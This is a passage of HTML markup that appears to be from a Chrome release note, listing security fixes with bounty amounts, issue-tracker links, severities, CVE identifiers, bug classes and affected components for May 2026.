href="https://issuetracker.google.com/516944556"><span>[516944556</span></a><span>] </span><span>Medium</span><span> CVE-2026-14011 Out of bounds read in SurfaceCapture  on  2026-05-26 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/516936863"><span>[516936863</span></a><span>] </span><span>High</span><span> CVE-2026-13845 Use after free in DOM  on  2026-05-26 </span></p><p dir="ltr"><span>[$3000.0] </span><a href="https://issuetracker.google.com/516836297"><span>[516836297</span></a><span>] </span><span>High</span><span> CVE-2026-13842 Incorrect security UI in Chrome for iOS Reported by [] on  2026-05-26 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/516865345"><span>[516865345</span></a><span>] </span><span>High</span><span> CVE-2026-14418 Uninitialized Use in ANGLE  on  2026-05-26 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/516819850"><span>[516819850</span></a><span>] </span><span>Medium</span><span> CVE-2026-14009 Insufficient data validation in Passwords  on  2026-05-26 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/516781007"><span>[516781007</span></a><span>] </span><span>Medium</span><span> CVE-2026-14008 Uninitialized Use in WebXR  on  2026-05-26 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/516683433"><span>[516683433</span></a><span>] </span><span>Critical</span><span> CVE-2026-13782 Use after free in Browser  on  2026-05-26 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/516649133"><span>[516649133</span></a><span>] </span><span>Critical</span><span> CVE-2026-14417 Use after free in Dawn  on  2026-05-26 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/516457532"><span>[516457532</span></a><span>] </span><span>Critical</span><span> CVE-2026-13781 Insufficient validation of untrusted input in Skia  on  2026-05-25 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/516425999"><span>[516425999</span></a><span>] </span><span>Medium</span><span> CVE-2026-14007 Insufficient policy enforcement in PermissionsPolicy  on  2026-05-25 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/515467789"><span>[515467789</span></a><span>] </span><span>High</span><span> CVE-2026-13841 Integer overflow in Skia  on  2026-05-21 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/515428315"><span>[515428315</span></a><span>] </span><span>Low</span><span> CVE-2026-14416 Out of bounds read in Dawn  on  2026-05-21 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/515426873"><span>[515426873</span></a><span>] </span><span>Low</span><span> CVE-2026-14148 Type Confusion in CSS  on  2026-05-21 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/515427046"><span>[515427046</span></a><span>] </span><span>Low</span><span> CVE-2026-14149 Use after free in Audio  on  2026-05-21 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/515423596"><span>[515423596</span></a><span>] </span><span>Medium</span><span> CVE-2026-14006 Use after free in Navigation  on  2026-05-21 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/515086856"><span>[515086856</span></a><span>] </span><span>Low</span><span> CVE-2026-14415 Inappropriate implementation in V8  on  2026-05-20 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514769383"><span>[514769383</span></a><span>] </span><span>Critical</span><span> CVE-2026-13780 Insufficient validation of untrusted input in ANGLE  on  2026-05-19 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514632767"><span>[514632767</span></a><span>] </span><span>Low</span><span> CVE-2026-14147 Inappropriate implementation in CSS  on  2026-05-19 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514609778"><span>[514609778</span></a><span>] </span><span>High</span><span> CVE-2026-13840 Insufficient policy enforcement in Canvas  on  2026-05-19 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514550047"><span>[514550047</span></a><span>] </span><span>Low</span><span> CVE-2026-14146 Inappropriate implementation in CSS  on  2026-05-19 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514538751"><span>[514538751</span></a><span>] </span><span>Medium</span><span> CVE-2026-14004 Inappropriate implementation in CSS  on  2026-05-18 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514503077"><span>[514503077</span></a><span>] </span><span>Medium</span><span> CVE-2026-14003 Insufficient policy enforcement in Extensions  on  2026-05-18 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514489361"><span>[514489361</span></a><span>] </span><span>Medium</span><span> CVE-2026-14002 Inappropriate implementation in Geolocation  on  2026-05-18 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514485825"><span>[514485825</span></a><span>] </span><span>Low</span><span> CVE-2026-14145 Inappropriate implementation in CSS  on  2026-05-18 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514481943"><span>[514481943</span></a><span>] </span><span>Medium</span><span> CVE-2026-14001 Inappropriate implementation in Network  on  2026-05-18 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514461552"><span>[514461552</span></a><span>] </span><span>Medium</span><span> CVE-2026-14000 Inappropriate implementation in XML  on  2026-05-18 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514449396"><span>[514449396</span></a><span>] </span><span>High</span><span> CVE-2026-13839 Inappropriate implementation in CSS  on  2026-05-18 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514445398"><span>[514445398</span></a><span>] </span><span>High</span><span> CVE-2026-13838 Inappropriate implementation in CSS  on  2026-05-18 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514429130"><span>[514429130</span></a><span>] </span><span>High</span><span> CVE-2026-13837 Inappropriate implementation in CSS  on  2026-05-18 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514420555"><span>[514420555</span></a><span>] </span><span>High</span><span> CVE-2026-13836 Inappropriate implementation in CSS  on  2026-05-18 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514338102"><span>[514338102</span></a><span>] </span><span>High</span><span> CVE-2026-13835 Inappropriate implementation in XML  on  2026-05-18 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514079793"><span>[514079793</span></a><span>] </span><span>Low</span><span> CVE-2026-14144 Incorrect security UI in Views on Desktop  on  2026-05-17 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514073460"><span>[514073460</span></a><span>] </span><span>Low</span><span> CVE-2026-14142 Inappropriate implementation in Extensions  on  2026-05-17 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514072495"><span>[514072495</span></a><span>] </span><span>Low</span><span> CVE-2026-14139 Inappropriate implementation in TabStrip  on  2026-05-17 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514071697"><span>[514071697</span></a><span>] </span><span>Medium</span><span> CVE-2026-13999 Inappropriate implementation in Extensions  on  2026-05-17 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514068972"><span>[514068972</span></a><span>] </span><span>Medium</span><span> CVE-2026-13996 Incorrect security UI in Permissions  on  2026-05-17 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514064139"><span>[514064139</span></a><span>] </span><span>Medium</span><span> CVE-2026-13993 Incorrect security UI in WebAppInstalls  on  2026-05-17 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514058566"><span>[514058566</span></a><span>] </span><span>Low</span><span> CVE-2026-14135 Insufficient validation of untrusted input in Network  on  2026-05-17 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514056221"><span>[514056221</span></a><span>] </span><span>Medium</span><span> CVE-2026-13989 Insufficient policy enforcement in PageInfo  on  2026-05-17 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514040614"><span>[514040614</span></a><span>] </span><span>Medium</span><span> CVE-2026-13988 Inappropriate implementation in Paint  on  2026-05-17 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514039947"><span>[514039947</span></a><span>] </span><span>Low</span><span> CVE-2026-14133 Race in History Embeddings  on  2026-05-17 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514039492"><span>[514039492</span></a><span>] </span><span>Low</span><span> CVE-2026-14132 Inappropriate implementation in WebXR  on  2026-05-17 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514020982"><span>[514020982</span></a><span>] </span><span>Low</span><span> CVE-2026-14131 Insufficient validation of untrusted input in WebAppInstalls  on  2026-05-17 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514020959"><span>[514020959</span></a><span>] </span><span>Medium</span><span> CVE-2026-13986 Inappropriate implementation in Media UI  on  2026-05-17 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514019522"><span>[514019522</span></a><span>] </span><span>Low</span><span> CVE-2026-14130 Incorrect security UI in Omnibox  on  2026-05-17 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514013849"><span>[514013849</span></a><span>] </span><span>Medium</span><span> CVE-2026-13985 Inappropriate implementation in MediaCapture  on  2026-05-17 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514009654"><span>[514009654</span></a><span>] </span><span>Low</span><span> CVE-2026-14127 Inappropriate implementation in Printing  on  2026-05-17 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514010404"><span>[514010404</span></a><span>] </span><span>Medium</span><span> CVE-2026-13984 Incorrect security UI in TabStrip  on  2026-05-17 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514006829"><span>[514006829</span></a><span>] </span><span>Medium</span><span> CVE-2026-13982 Incorrect security UI in Passwords  on  2026-05-17 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513988889"><span>[513988889</span></a><span>] </span><span>Medium</span><span> CVE-2026-13979 Inappropriate implementation in Paint  on  2026-05-17 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513948227"><span>[513948227</span></a><span>] </span><span>Medium</span><span> CVE-2026-14414 Insufficient validation of untrusted input in Skia  on  2026-05-16 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513925114"><span>[513925114</span></a><span>] </span><span>High</span><span> CVE-2026-13834 Insufficient validation of untrusted input in ANGLE  on  2026-05-16 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513922055"><span>[513922055</span></a><span>] </span><span>High</span><span> CVE-2026-14413 Uninitialized Use in ANGLE  on  2026-05-16 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513920834"><span>[513920834</span></a><span>] </span><span>High</span><span> CVE-2026-14412 Insufficient validation of untrusted input in ANGLE  on  2026-05-16 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513919827"><span>[513919827</span></a><span>] </span><span>High</span><span> CVE-2026-14411 Insufficient validation of untrusted input in ANGLE  on  2026-05-16 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513918431"><span>[513918431</span></a><span>] </span><span>Low</span><span> CVE-2026-14125 Uninitialized Use in ANGLE  on  2026-05-16 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513866949"><span>[513866949</span></a><span>] </span><span>Medium</span><span> CVE-2026-13978 Insufficient policy enforcement in PageInfo  on  2026-05-16 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513859894"><span>[513859894</span></a><span>] </span><span>Medium</span><span> CVE-2026-13977 Inappropriate implementation in HTMLParser on context element  on  2026-05-16 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513858286"><span>[513858286</span></a><span>] </span><span>Medium</span><span> CVE-2026-13976 Heap buffer overflow in Storage  on  2026-05-16 </span></p><p dir="ltr"><span>[$1000.0] </span><a href="https://issuetracker.google.com/513631768"><span>[513631768</span></a><span>] </span><span>Medium</span><span> CVE-2026-14408 Uninitialized Use in Dawn Reported by [Chrovus ] on  2026-05-16 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513836996"><span>[513836996</span></a><span>] </span><span>Low</span><span> CVE-2026-14410 Inappropriate implementation in Skia  on  2026-05-16 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513810921"><span>[513810921</span></a><span>] </span><span>Low</span><span> CVE-2026-14409 Inappropriate implementation in V8 Reported by [] on  2026-05-16 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513832989"><span>[513832989</span></a><span>] </span><span>Medium</span><span> CVE-2026-13973 Inappropriate implementation in UI  on  2026-05-16 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513822378"><span>[513822378</span></a><span>] </span><span>High</span><span> CVE-2026-13832 Use after free in Headless  on  2026-05-16 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513792140"><span>[513792140</span></a><span>] </span><span>Medium</span><span> CVE-2026-13972 Inappropriate implementation in Paint  on  2026-05-16 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513789382"><span>[513789382</span></a><span>] </span><span>Low</span><span> CVE-2026-14121 Use after free in Chromoting on Linux Wayland  on  2026-05-16 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513781328"><span>[513781328</span></a><span>] </span><span>High</span><span> CVE-2026-13831 Use after free in GPU  on  2026-05-16 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513780208"><span>[513780208</span></a><span>] </span><span>Medium</span><span> CVE-2026-13971 Uninitialized Use in Skia  on  2026-05-16 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513779283"><span>[513779283</span></a><span>] </span><span>Medium</span><span> CVE-2026-13970 Uninitialized Use in Media  on  2026-05-16 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513777411"><span>[513777411</span></a><span>] </span><span>Low</span><span> CVE-2026-14120 Inappropriate implementation in DevTools  on  2026-05-16 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513772764"><span>[513772764</span></a><span>] </span><span>Low</span><span> CVE-2026-14118 Insufficient data validation in DevTools  on  2026-05-16 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513762145"><span>[513762145</span></a><span>] </span><span>Medium</span><span> CVE-2026-13968 Insufficient validation of untrusted input in DevTools  on  2026-05-16 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513751951"><span>[513751951</span></a><span>] </span><span>Medium</span><span> CVE-2026-13967 Type Confusion in V8  on  2026-05-15 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513747800"><span>[513747800</span></a><span>] </span><span>Low</span><span> CVE-2026-14116 Insufficient validation of untrusted input in DevTools  on  2026-05-15 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513745699"><span>[513745699</span></a><span>] </span><span>Low</span><span> CVE-2026-14115 Insufficient validation of untrusted input in Cast  on  2026-05-15 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513741393"><span>[513741393</span></a><span>] </span><span>Medium</span><span> CVE-2026-13966 Inappropriate implementation in History  on  2026-05-15 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513737952"><span>[513737952</span></a><span>] </span><span>Medium</span><span> CVE-2026-13965 Use after free in Oilpan  on  2026-05-15 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513727626"><span>[513727626</span></a><span>] </span><span>Medium</span><span> CVE-2026-13963 Inappropriate implementation in DevTools  on  2026-05-15 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513727494"><span>[513727494</span></a><span>] </span><span>High</span><span> CVE-2026-13830 Use after free in Chromoting  on  2026-05-15 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513721370"><span>[513721370</span></a><span>] </span><span>Medium</span><span> CVE-2026-13962 Insufficient data validation in PDF  on  2026-05-15 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513714023"><span>[513714023</span></a><span>] </span><span>Medium</span><span> CVE-2026-13960 Inappropriate implementation in Passwords  on  2026-05-15 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513713946"><span>[513713946</span></a><span>] </span><span>Low</span><span> CVE-2026-14112 Inappropriate implementation in Enterprise  on  2026-05-15 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513710926"><span>[513710926</span></a><span>] </span><span>Low</span><span> CVE-2026-14111 Use after free in WebProtect  on  2026-05-15 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513698452"><span>[513698452</span></a><span>] </span><span>Low</span><span> CVE-2026-14110 Inappropriate implementation in DarkMode  on  2026-05-15 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513694957"><span>[513694957</span></a><span>] </span><span>Low</span><span> CVE-2026-14109 Insufficient policy enforcement in Mojo  on  2026-05-15 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513689974"><span>[513689974</span></a><span>] </span><span>Low</span><span> CVE-2026-14108 Use after free in PDFium  on  2026-05-15 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513609249"><span>[513609249</span></a><span>] </span><span>Medium</span><span> CVE-2026-13959 Insufficient validation of untrusted input in Blink  on  2026-05-15 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513586956"><span>[513586956</span></a><span>] </span><span>Medium</span><span> CVE-2026-14407 Inappropriate implementation in V8 on ARM64 due to AAPCS64 ABI Mismatch  on  2026-05-15 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513553557"><span>[513553557</span></a><span>] </span><span>Medium</span><span> CVE-2026-13957 Incorrect security UI in Extensions  on  2026-05-15 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513544566"><span>[513544566</span></a><span>] </span><span>Low</span><span> CVE-2026-14107 Use after free in Scheduling  on  2026-05-15 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513528117"><span>[513528117</span></a><span>] </span><span>Low</span><span> CVE-2026-14105 Insufficient policy enforcement in Speech  on  2026-05-15 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513515168"><span>[513515168</span></a><span>] </span><span>Medium</span><span> CVE-2026-13956 Incorrect security UI in PageInfo  on  2026-05-15 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513504934"><span>[513504934</span></a><span>] </span><span>Medium</span><span> CVE-2026-13954 Insufficient policy enforcement in XML  on  2026-05-15 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513484193"><span>[513484193</span></a><span>] </span><span>Low</span><span> CVE-2026-14104 Insufficient validation of untrusted input in WebAppInstalls  on  2026-05-15 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513465245"><span>[513465245</span></a><span>] </span><span>Low</span><span> CVE-2026-14103 Use after free in SSL on ChromeOS  on  2026-05-15 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513459192"><span>[513459192</span></a><span>] </span><span>Medium</span><span> CVE-2026-13953 Inappropriate implementation in SplitView  on  2026-05-15 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513455047"><span>[513455047</span></a><span>] </span><span>Low</span><span> CVE-2026-14102 Use after free in Passwords  on  2026-05-15 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513435594"><span>[513435594</span></a><span>] </span><span>Medium</span><span> CVE-2026-14406 Out of bounds read in V8  on  2026-05-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513401808"><span>[513401808</span></a><span>] </span><span>Medium</span><span> CVE-2026-13952 Inappropriate implementation in PerformanceAPIs  on  2026-05-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513399832"><span>[513399832</span></a><span>] </span><span>High</span><span> CVE-2026-13828 Inappropriate implementation in Enterprise  on  2026-05-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513394321"><span>[513394321</span></a><span>] </span><span>Medium</span><span> CVE-2026-13951 Policy bypass in USB on Linux-based Platforms  on  2026-05-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513383891"><span>[513383891</span></a><span>] </span><span>Low</span><span> CVE-2026-14100 Insufficient data validation in NetworkCache  on  2026-05-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513375767"><span>[513375767</span></a><span>] </span><span>Low</span><span> CVE-2026-14098 Inappropriate implementation in CSS  on  2026-05-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513376037"><span>[513376037</span></a><span>] </span><span>Low</span><span> CVE-2026-14405 Uninitialized Use in V8  on  2026-05-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513360781"><span>[513360781</span></a><span>] </span><span>Medium</span><span> CVE-2026-13950 Uninitialized Use in GPU  on  2026-05-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513337989"><span>[513337989</span></a><span>] </span><span>Medium</span><span> CVE-2026-14404 Inappropriate implementation in PDFium  on  2026-05-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513298483"><span>[513298483</span></a><span>] </span><span>Low</span><span> CVE-2026-14403 Use after free in V8  on  2026-05-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513286820"><span>[513286820</span></a><span>] </span><span>Medium</span><span> CVE-2026-13948 Insufficient policy enforcement in Extensions  on  2026-05-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513271007"><span>[513271007</span></a><span>] </span><span>Low</span><span> CVE-2026-14095 Insufficient validation of untrusted input in Browser  on  2026-05-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513240099"><span>[513240099</span></a><span>] </span><span>Low</span><span> CVE-2026-14093 Use after free in Cast  on  2026-05-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513226551"><span>[513226551</span></a><span>] </span><span>Medium</span><span> CVE-2026-13945 Insufficient policy enforcement in Extensions on Linux via XDG Global Shortcuts portal  on  2026-05-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513222854"><span>[513222854</span></a><span>] </span><span>Critical</span><span> CVE-2026-13779 Use after free in Chromoting  on  2026-05-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513212892"><span>[513212892</span></a><span>] </span><span>Low</span><span> CVE-2026-14092 Insufficient policy enforcement in Privacy  on  2026-05-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513208773"><span>[513208773</span></a><span>] </span><span>Low</span><span> CVE-2026-14091 Use after free in DevTools  on  2026-05-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513194241"><span>[513194241</span></a><span>] </span><span>Low</span><span> CVE-2026-14090 Out of bounds read in CameraCapture  on  2026-05-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513188254"><span>[513188254</span></a><span>] </span><span>Low</span><span> CVE-2026-14089 Insufficient validation of untrusted input in PopupBlocker  on  2026-05-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513186670"><span>[513186670</span></a><span>] </span><span>Medium</span><span> CVE-2026-13942 Insufficient validation of untrusted input in Video Capture  on  2026-05-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513177497"><span>[513177497</span></a><span>] </span><span>High</span><span> CVE-2026-13824 Insufficient validation of untrusted input in Extensions  on  2026-05-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513169718"><span>[513169718</span></a><span>] </span><span>Low</span><span> CVE-2026-14086 Insufficient policy enforcement in HID  on  2026-05-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513163011"><span>[513163011</span></a><span>] </span><span>High</span><span> CVE-2026-13823 Use after free in Glic  on  2026-05-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513158425"><span>[513158425</span></a><span>] </span><span>Medium</span><span> CVE-2026-13940 Uninitialized Use in Cast  on  2026-05-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513155863"><span>[513155863</span></a><span>] </span><span>Low</span><span> CVE-2026-14085 Side-channel information leakage in CSS  on  2026-05-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513143921"><span>[513143921</span></a><span>] </span><span>Medium</span><span> CVE-2026-13938 Integer overflow in Fonts  on  2026-05-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513142445"><span>[513142445</span></a><span>] </span><span>High</span><span> CVE-2026-13821 Use after free in Canvas  on  2026-05-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513138148"><span>[513138148</span></a><span>] </span><span>Low</span><span> CVE-2026-14084 Insufficient validation of untrusted input in Chromoting  on  2026-05-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513128322"><span>[513128322</span></a><span>] </span><span>Low</span><span> CVE-2026-14083 Insufficient validation of untrusted input in HTML  on  2026-05-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513048822"><span>[513048822</span></a><span>] </span><span>High</span><span> CVE-2026-14401 Insufficient validation of untrusted input in ANGLE  on  2026-05-13 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513049578"><span>[513049578</span></a><span>] </span><span>Low</span><span> CVE-2026-14082 Race in Storage  on  2026-05-13 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513046494"><span>[513046494</span></a><span>] </span><span>Medium</span><span> CVE-2026-13937 Insufficient policy enforcement in Passwords  on  2026-05-13 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513030698"><span>[513030698</span></a><span>] </span><span>Low</span><span> CVE-2026-14081 Insufficient policy enforcement in DevTools  on  2026-05-13 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513012139"><span>[513012139</span></a><span>] </span><span>Critical</span><span> CVE-2026-13776 Type Confusion in Dawn  on  2026-05-13 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513009005"><span>[513009005</span></a><span>] </span><span>Medium</span><span> CVE-2026-13935 Side-channel information leakage in ComputePressure  on  2026-05-13 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513006636"><span>[513006636</span></a><span>] </span><span>Medium</span><span> CVE-2026-13934 Insufficient validation of untrusted input in Dawn on Android leads to GPU process UB  on  2026-05-13 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513006745"><span>[513006745</span></a><span>] </span><span>Medium</span><span> CVE-2026-14399 Uninitialized Use in Dawn  on  2026-05-13 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513002625"><span>[513002625</span></a><span>] </span><span>Medium</span><span> CVE-2026-13933 Insufficient policy enforcement in Passwords  on  2026-05-13 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/512995785"><span>[512995785</span></a><span>] </span><span>Critical</span><span> CVE-2026-14398 Use after free in ANGLE  on  2026-05-13 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/512986879"><span>[512986879</span></a><span>] </span><span>High</span><span> CVE-2026-13820 Out of bounds read in Skia  on  2026-05-13 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/512971938"><span>[512971938</span></a><span>] </span><span>Low</span><span> CVE-2026-14079 Policy bypass in Network  on  2026-05-13 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/512953564"><span>[512953564</span></a><span>] </span><span>Low</span><span> CVE-2026-14078 Policy bypass in WebRTC  on  2026-05-13 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/512937764"><span>[512937764</span></a><span>] </span><span>Medium</span><span> CVE-2026-13930 Insufficient policy enforcement in Actor  on  2026-05-13 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/512162479"><span>[512162479</span></a><span>] </span><span>Medium</span><span> CVE-2026-13928 Insufficient validation of untrusted input in Enterprise  on  2026-05-11 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/511823182"><span>[511823182</span></a><span>] </span><span>High</span><span> CVE-2026-13818 Inappropriate implementation in Passwords  on  2026-05-10 </span></p><p dir="ltr"><span>[$TBD] </span><a 